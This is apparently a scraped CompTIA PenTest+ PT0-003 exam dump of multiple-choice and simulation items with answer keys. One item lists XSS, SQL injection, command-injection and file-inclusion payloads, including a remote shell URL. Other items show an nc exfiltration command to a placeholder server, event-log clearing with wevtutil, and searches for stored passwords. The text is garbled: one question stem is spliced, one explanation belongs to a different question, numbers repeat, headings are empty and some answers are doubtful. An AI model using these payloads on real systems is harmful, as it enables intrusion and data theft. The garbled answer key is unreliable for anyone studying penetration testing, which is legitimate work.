

CompTIA

Exam Questions PT0-003

CompTIA PenTest+ Exam



NEW QUESTION 1

A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information:

Server High-severity vulnerabilities

- * 1. Development sandbox server 32
- * 2. Back office file transfer server 51
- * 3. Perimeter network web server 14
- * 4. Developer QA server 92

The client is concerned monitoring mode using Aircrack-ng on any of the following hosts should the penetration tester select for additional manual testing?

- A. Server 1
- B. Server 2
- C. Server 3
- D. Server 4

Answer: C

Explanation:

? Client Concern:

? Server Analysis:

? Pentest References:

By selecting Server 3 (the perimeter network web server) for additional manual testing, the penetration tester addresses the client's primary concern about the availability and security of the consumer-facing production application.

=====

NEW QUESTION 2

A penetration tester creates a list of target domains that require further enumeration. The tester writes the following script to perform vulnerability scanning across the domains:

line 1: #!/usr/bin/bash

line 2: DOMAINS_LIST = "/path/to/list.txt" line 3: while read -r i; do

line 4: nikto -h \$i -o scan-\$i.txt & line 5: done

The script does not work as intended. Which of the following should the tester do to fix the script?

- A. Change line 2 to {"domain1", "domain2", "domain3", }.
- B. Change line 3 to while true; read -r i; do.
- C. Change line 4 to nikto \$i | tee scan-\$i.txt.
- D. Change line 5 to done < "\$DOMAINS_LIST".

Answer: D

Explanation:

The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < "\$DOMAINS_LIST" correctly directs the loop to read from the file.

Step-by-Step Explanation

? Original Script: DOMAINS_LIST="/path/to/list.txt" while read -r i; do

nikto -h \$i -o scan-\$i.txt & done

? Identified Problem:

? Solution: DOMAINS_LIST="/path/to/list.txt" while read -r i; do

nikto -h \$i -o scan-\$i.txt & done < "\$DOMAINS_LIST"

? Explanation

? References from Pentesting Literature:

=====

NEW QUESTION 3

Which of the following describes the process of determining why a vulnerability scanner is not providing results?

- A. Root cause analysis
- B. Secure distribution
- C. Peer review
- D. Goal reprioritization

Answer: A

Explanation:

Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here's why option A is correct:

? Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.

? Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.

? Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.

? Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.

References from Pentest:

? Horizontal HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly.

? Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.

=====

NEW QUESTION 4

A tester runs an Nmap scan against a Windows server and receives the following results:

Nmap scan report for win_dns.local (10.0.0.5) Host is up (0.014s latency)

Port State Service 53/tcp open domain 161/tcp open snmp 445/tcp open smb-ds 3389/tcp open rdp

Which of the following TCP ports should be prioritized for using hash-based relays?

- A. 53
- B. 161
- C. 445
- D. 3389

Answer: C

Explanation:

Port 445 is used for SMB (Server Message Block) services, which are commonly targeted for hash-based relay attacks like NTLM relay attacks.

? Understanding Hash-Based Relays:

? Prioritizing Port 445:

? Execution:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 5

Which of the following is the most efficient way to infiltrate a file containing data that could be sensitive?

- A. Use steganography and send the file over FTP
- B. Compress the file and send it using TFTP
- C. Split the file in tiny pieces and send it over dnscat
- D. Encrypt and send the file over HTTPS

Answer: D

Explanation:

When considering efficiency and security for exfiltrating sensitive data, the chosen method must ensure data confidentiality and minimize the risk of detection.

Here??s an analysis of each option:

? Use steganography and send the file over FTP (Option A):

? Compress the file and send it using TFTP (Option B):

? Split the file in tiny pieces and send it over dnscat (Option C):

? Encrypt and send the file over HTTPS (Answer: D):

Conclusion: Encrypting the file and sending it over HTTPS is the most efficient and secure method for exfiltrating sensitive data, ensuring both confidentiality and reducing the risk of detection.

NEW QUESTION 6

Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?

- A. Badge cloning
- B. Shoulder surfing
- C. Tailgating
- D. Site survey

Answer: C

Explanation:

Tailgating is the term used to describe a situation where a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee.

? Tailgating:

? Physical Security:

? Pentest References:

By understanding and using tailgating, penetration testers can evaluate the effectiveness of an organization??s physical security measures and identify potential vulnerabilities that could be exploited by malicious actors.

=====

NEW QUESTION 7

During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network. The tester receives the results and then executes the following command:

snmpwalk -v 2c -c public 192.168.1.23

Which of the following is the tester trying to do based on the command they used?

- A. Bypass defensive systems to collect more information.
- B. Use an automation tool to perform the attacks.
- C. Script exploits to gain access to the systems and host.
- D. Validate the results and remove false positives.

Answer: D

Explanation:

The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device. Here??s the purpose in the context provided:

? SNMP Enumeration:

? Purpose of the Command:

? Comparison with Other Options:

By using snmpwalk, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.

=====

NEW QUESTION 8

A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?

- A. IAST
- B. SBOM
- C. DAST
- D. SAST

Answer: D

Explanation:

kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here's why option B is correct:

? Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.

? Network Configuration Errors: While kube-hunter might identify some network- related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.

? Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.

? Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.

References from Pentest:

? Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.

? Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.

Conclusion:

Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.

=====

NEW QUESTION 9

HOTSPOT

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

HTTP Request Payload Table

Payloads

#inner-tab"><script>alert(1)</script>

Vulnerability Type

Remediation

item=widget';waitfor%20delay%20'00:00:20';--

item=widget%20union%20select%20null,null,@@version;--

search=Bob"%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e

item=widget'+convert(int,@@version)+'

site=www.exa'ping%20-c%2010%20localhost'mple.com

redir=http:%2f%2fwww.malicious-site.com

logfile=%2fetc%2fpasswd%00

lookup=\$(whoami)

logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , < , > , - ,

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

- * 1. Reflected XSS - Input sanitization (<> ...)
- * 2. Sql Injection Stacked - Parameterized Queries
- * 3. DOM XSS - Input Sanitization (<> ...)
- * 4. Local File Inclusion - sandbox req
- * 5. Command Injection - sandbox req
- * 6. SQLi union - paramtrized queries
- * 7. SQLi error - paramtrized queries
- * 8. Remote File Inclusion - sandbox
- * 9. Command Injection - input saniti \$
- * 10. URL redirect - prevent external calls

NEW QUESTION 10

A penetration tester needs to help create a threat model of a custom application. Which of the following is the most likely framework the tester will use?

- A. MITRE ATT&CK
- B. OSSTMM
- C. CI/CD
- D. DREAD

Answer: D

Explanation:

The DREAD model is a risk assessment framework used to evaluate and prioritize the security risks of an application. It stands for Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability.

? Understanding DREAD:

? Usage in Threat Modeling:

? Process:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 10

A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?

- A. Kiosk escape
- B. Arbitrary code execution
- C. Process hollowing
- D. Library injection

Answer: A

Explanation:

A kiosk escape involves breaking out of a restricted environment, such as a kiosk or a single application interface, to access the underlying operating system.

Here??s why option A is correct:

? Kiosk Escape: This attack targets environments where user access is intentionally

limited, such as a kiosk or a dedicated application. The goal is to break out of these restrictions and gain access to the full operating system.

? Arbitrary Code Execution: This involves running unauthorized code on the system, but the scenario described is more about escaping a restricted environment.

? Process Hollowing: This technique involves injecting code into a legitimate process, making it appear benign while executing malicious activities.

? Library Injection: This involves injecting malicious code into a running process by loading a malicious library, which is not the focus in this scenario.

References from Pentest:

? Forge HTB: Demonstrates techniques to escape restricted environments and gain broader access to the system.

? Horizontall HTB: Shows methods to break out of limited access environments, aligning with the concept of kiosk escape.

Conclusion:

Option A, Kiosk escape, accurately describes the type of attack where a tester breaks out of a restricted environment to access the underlying operating system.

=====

NEW QUESTION 11

During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

- A. SQL injection
- B. SSRF
- C. XSS
- D. Server-side template injection

Answer: C

Explanation:

Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users. Here's why option C is correct:

? XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user's browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.

? SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.

? SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.

? Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user's browser.

References from Pentest:

? Horizontall HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications.

? Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser.

=====

NEW QUESTION 16

During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?

- A. ChopChop
- B. Replay
- C. Initialization vector
- D. KRACK

Answer: D

Explanation:

To break the key for a Wi-Fi network that uses WPA2 encryption, the penetration tester should use the KRACK (Key Reinstallation Attack) attack.

? KRACK (Key Reinstallation Attack):

? Other Attacks:

Pentest References:

? Wireless Security: Understanding vulnerabilities in Wi-Fi encryption protocols, such as WPA2, and how they can be exploited.

? KRACK Attack: A significant vulnerability in WPA2 that requires specific techniques to exploit.

By using the KRACK attack, the penetration tester can break WPA2 encryption and gain unauthorized access to the Wi-Fi network.

Top of Form Bottom of Form

=====

NEW QUESTION 21

In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?

- A. IAM
- B. Block storage
- C. Virtual private cloud
- D. Metadata services

Answer: D

Explanation:

In a cloud environment, the information used to configure virtual machines during their initialization could have been accessed through metadata services.

? Metadata Services:

? Other Features:

Pentest References:

? Cloud Security: Understanding how metadata services work and the potential risks associated with them is crucial for securing cloud environments.

? Exploitation: Metadata services can be exploited to retrieve sensitive data if not properly secured.

By accessing metadata services, an attacker can retrieve sensitive configuration information used during VM initialization, which can lead to further exploitation.

=====

NEW QUESTION 22

During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?

- A. Clear the Windows event logs.
- B. Modify the system time.
- C. Alter the log permissions.
- D. Reduce the log retention settings.

Answer: A

Explanation:

During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here's a detailed explanation of why clearing the Windows event logs is the best method for this scenario:

? Understanding Windows Event Logs: Windows event logs are a key forensic

artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.

? Why Clear Windows Event Logs:

? Method to Clear Event Logs:

shell

Copy code wevtutil cl System wevtutil cl Security

wevtutil cl Application

? uk.co.certification.simulator.questionpool.PList@6126ce2a

? Alternative Options and Their Drawbacks:

? Case References:

In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester's actions remain undetected.

=====

NEW QUESTION 25

Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?

- A. Creating registry keys
- B. Installing a bind shell
- C. Executing a process injection
- D. Setting up a reverse SSH connection

Answer: A

Explanation:

Maintaining persistent access in a compromised system is a crucial goal for a penetration tester after achieving initial access. Here??s an explanation of each option and why creating registry keys is the preferred method:

? Creating registry keys (Answer: A):

? Installing a bind shell (Option B):

? Executing a process injection (Option C):

? Setting up a reverse SSH connection (Option D):

Conclusion: Creating registry keys is the most effective method for maintaining persistent access in a compromised system, particularly in Windows environments, due to its stealthiness and reliability.

NEW QUESTION 30

During an assessment, a penetration tester exploits an SQLi vulnerability. Which of the following commands would allow the penetration tester to enumerate password hashes?

- A. sqlmap -u www.example.com/?id=1 --search -T user
- B. sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred
- C. sqlmap -u www.example.com/?id=1 --tables -D accounts
- D. sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

Answer: B

Explanation:

To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The --dump command in sqlmap is used to dump the contents of the specified database table. Here??s a breakdown of the options:

? Option A: sqlmap -u www.example.com/?id=1 --search -T user

? Option B: sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred

? Option C: sqlmap -u www.example.com/?id=1 --tables -D accounts

? Option D: sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

References from Pentest:

? Writeup HTB: Demonstrates using sqlmap to dump data from specific tables to retrieve sensitive information, including password hashes.

? Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database.

=====

NEW QUESTION 35

A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?

- A. SAST
- B. Sidecar
- C. Unauthenticated
- D. Host-based

Answer: C

Explanation:

To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.

? Unauthenticated Scan:

? Comparison with Other Scans:

? Pentest References:

By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.

=====

NEW QUESTION 39

Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?

- A. Latches
- B. Pins
- C. Shackle
- D. Plug

Answer: B

Explanation:

In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here's a detailed breakdown:

? Components of a Pin Tumbler Lock:

? Operation:

? Why Pins Are the Correct Answer:

? Illustration in Lock Picking:

=====

NEW QUESTION 42

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

Action | SRC

| DEST

| --

Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP Allow | 192.168.10.0/24 : 1-65535 |

0.0.0.0/0:443 | TCP

Block | . | . | *

Which of the following commands should the tester try next?

A. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 </tmp/data.tar.gz

B. gzip /path/to/data && cp data.gz <remote_server> 443

C. gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22

D. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

Answer: A

Explanation:

Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

? Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

? Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

? Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

? Block: All other traffic (*). Breakdown of Options:

? Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443

< /tmp/data.tar.gz

? Option B: gzip /path/to/data && cp data.gz <remote_server> 443

? Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3

<remote_server> 22

? Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz

<remote_server>

References from Pentest:

? Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.

? Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.

? Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

=====

NEW QUESTION 47

During the reconnaissance phase, a penetration tester collected the following information

from the DNS records: A-----> www

A-----> host

TXT --> vpn.comptia.org SPF---> ip =2.2.2.2

Which of the following DNS records should be in place to avoid phishing attacks using spoofing domain techniques?

A. MX

B. SOA

C. DMARC

D. CNAME

Answer: C

Explanation:

DMARC (Domain-based Message Authentication, Reporting & Conformance) is an email authentication protocol that helps prevent email spoofing and phishing. It builds on SPF (Sender Policy Framework) and DKIM (DomainKeys Identified Mail) to provide a mechanism for email senders and receivers to improve and monitor the protection of the domain from fraudulent email.

? Understanding DMARC:

? Implementing DMARC:

? Benefits of DMARC:

? DMARC Record Components:

? Real-World Example:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 51

Which of the following components should a penetration tester include in an assessment report?

A. User activities

- B. Customer remediation plan
- C. Key management
- D. Attack narrative

Answer: D

Explanation:

An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.

? Components of an Assessment Report:

? Importance of Attack Narrative:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 56

A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?

- A. attacker_host\$ nmap -sT <target_cidr> | nc -n <compromised_host> 22
- B. attacker_host\$ mknod backpipe p attacker_host\$ nc -l -p 8000 | 0<backpipe | nc<target_cidr> 80 | tee backpipe
- C. attacker_host\$ nc -nlp 8000 | nc -n <target_cidr> attacker_host\$ nmap -sT 127.0.0.1 8000
- D. attacker_host\$ proxychains nmap -sT <target_cidr>

Answer: D

Explanation:

ProxyChains is a tool that allows you to route your traffic through a chain of proxy servers, which can be used to anonymize your network activity. In this context, it is being used to route Nmap scan traffic through the compromised host, allowing the penetration tester to pivot and enumerate other targets within the network.

? Understanding ProxyChains:

? Command Breakdown:

? Setting Up ProxyChains: Step-by-Step Explanationplaintext Copy code

socks4 127.0.0.1 1080

? Execution:

proxychains nmap -sT <target_cidr>

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 59

During an assessment, a penetration tester obtains a low-privilege shell and then runs the following command:

```
findstr /SIM /C:"pass" *.txt *.cfg *.xml
```

Which of the following is the penetration tester trying to enumerate?

- A. Configuration files
- B. Permissions
- C. Virtual hosts
- D. Secrets

Answer: D

Explanation:

By running the command findstr /SIM /C:"pass" *.txt *.cfg *.xml, the penetration tester is trying to enumerate secrets.

? Command Analysis:

? Objective:

? Other Options:

Pentest References:

? Post-Exploitation: Enumerating sensitive information like passwords is a common post-exploitation activity after gaining initial access.

? Credential Discovery: Searching for stored credentials within configuration files and documents to escalate privileges or move laterally within the network.

By running this command, the penetration tester aims to find stored passwords or other secrets that could help in further exploitation of the target system.

=====

NEW QUESTION 60

A penetration tester needs to identify all vulnerable input fields on a customer website. Which of the following tools would be best suited to complete this request?

- A. DAST
- B. SAST
- C. IAST
- D. SCA

Answer: A

Explanation:

? Dynamic Application Security Testing (DAST):

? Advantages of DAST:

? Examples of DAST Tools:

Pentest References:

? Web Application Testing: Understanding the importance of testing web applications for security vulnerabilities and the role of different testing methodologies.
? Security Testing Tools: Familiarity with various security testing tools and their applications in penetration testing.
? DAST vs. SAST: Knowing the difference between DAST (dynamic testing) and SAST (static testing) and when to use each method.
By using a DAST tool, the penetration tester can effectively identify all vulnerable input fields on the customer website, ensuring a thorough assessment of the application's security.
=====

NEW QUESTION 61

Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?

- A. FTP
- B. HTTPS
- C. SMTP
- D. DNS

Answer: D

Explanation:

Covert data exfiltration is a crucial aspect of advanced penetration testing. Penetration testers often need to move data out of a network without being detected by the organization's security monitoring tools. Here's a breakdown of the potential methods and why DNS is the preferred choice for covert data exfiltration:

? FTP (File Transfer Protocol) (Option A):

? HTTPS (Hypertext Transfer Protocol Secure) (Option B):

? SMTP (Simple Mail Transfer Protocol) (Option C):

? DNS (Domain Name System) (Option D):

Conclusion: DNS tunneling stands out as the most effective method for covert data exfiltration due to its ability to blend in with normal network traffic and avoid detection by conventional security mechanisms. Penetration testers utilize this method to evade scrutiny while exfiltrating data.

NEW QUESTION 65

A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

- A. Enable monitoring mode using Aircrack-ng.
- B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
- C. Run KARMA to break the password.
- D. Research WiGLE.net for potential nearby client access points.

Answer: A

Explanation:

Enabling monitoring mode on the wireless adapter is the essential step before capturing WPA2 handshakes. Monitoring mode allows the adapter to capture all wireless traffic in its vicinity, which is necessary for capturing handshakes.

? Preparation:

? Enable Monitoring Mode:

Step-by-Step Explanation
airmon-ng start wlan0

? uk.co.certification.simulator.questionpool.PList@3327f1d6 iwconfig

? Capture WPA2 Handshakes: airodump-ng wlan0mon

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 70

SIMULATION

You are a penetration tester running port scans on a server.

INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Penetration Testing

Part 1

Part 2

Drag and Drop Options

-sL

-O

192.168.2.2

-sU

-sV

-p 1-1023

192.168.2.1-100

-Pn

nc

--top-ports=1000

hping

--top-ports=100

nmap

☒ NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE VERSION
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 – 1 IP address (1 host up)
scanned in 26.80 seconds
```

☒ Command



Penetration Testing

Part 1

Part 2

Question Options

Using the output, identify potential attack vectors that should be further investigated.

☐ Weak SMB file permissions

☐ FTP anonymous login

☐ Webdav file upload

☐ Weak Apache Tomcat Credentials

☐ Null session enumeration

☐ Fragmentation attack

☐ SNMP enumeration

☐ ARP spoofing

 NMAP Scan Output

Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec?
139/tcp open netbios-ssn
389/tcp open ldap?
445/tcp open microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.
Scan done at Fri Oct 13 10:03:06 2017 – 1 IP address (1 host up)
scanned in 26.80 seconds

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:
Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns Part 2 - Weak SMB file permissions
<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01vl1sec13/fingerprinting-os-and-services-running-on-a-target-host>

NEW QUESTION 72

Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?

- A. Badge cloning
- B. Shoulder surfing
- C. Tailgating
- D. Site survey

Answer: C

Explanation:
? Understanding Tailgating:
? Methods to Prevent Tailgating:
? Examples in Penetration Testing:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 77

A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?

- A. SSL certificate inspection
- B. URL spidering

- C. Banner grabbing
- D. Directory brute forcing

Answer: C

Explanation:

Banner grabbing is a technique used to obtain information about a network service, including its version number, by connecting to the service and reading the response.

? Understanding Banner Grabbing:

? Manual Banner Grabbing:

Step-by-Step Explanationtelnet target_ip 80

? uk.co.certification.simulator.questionpool.PList@5af47689 nc target_ip 80

? Automated Banner Grabbing: nmap -sV target_ip

? Benefits:

? References from Pentesting Literature: References:

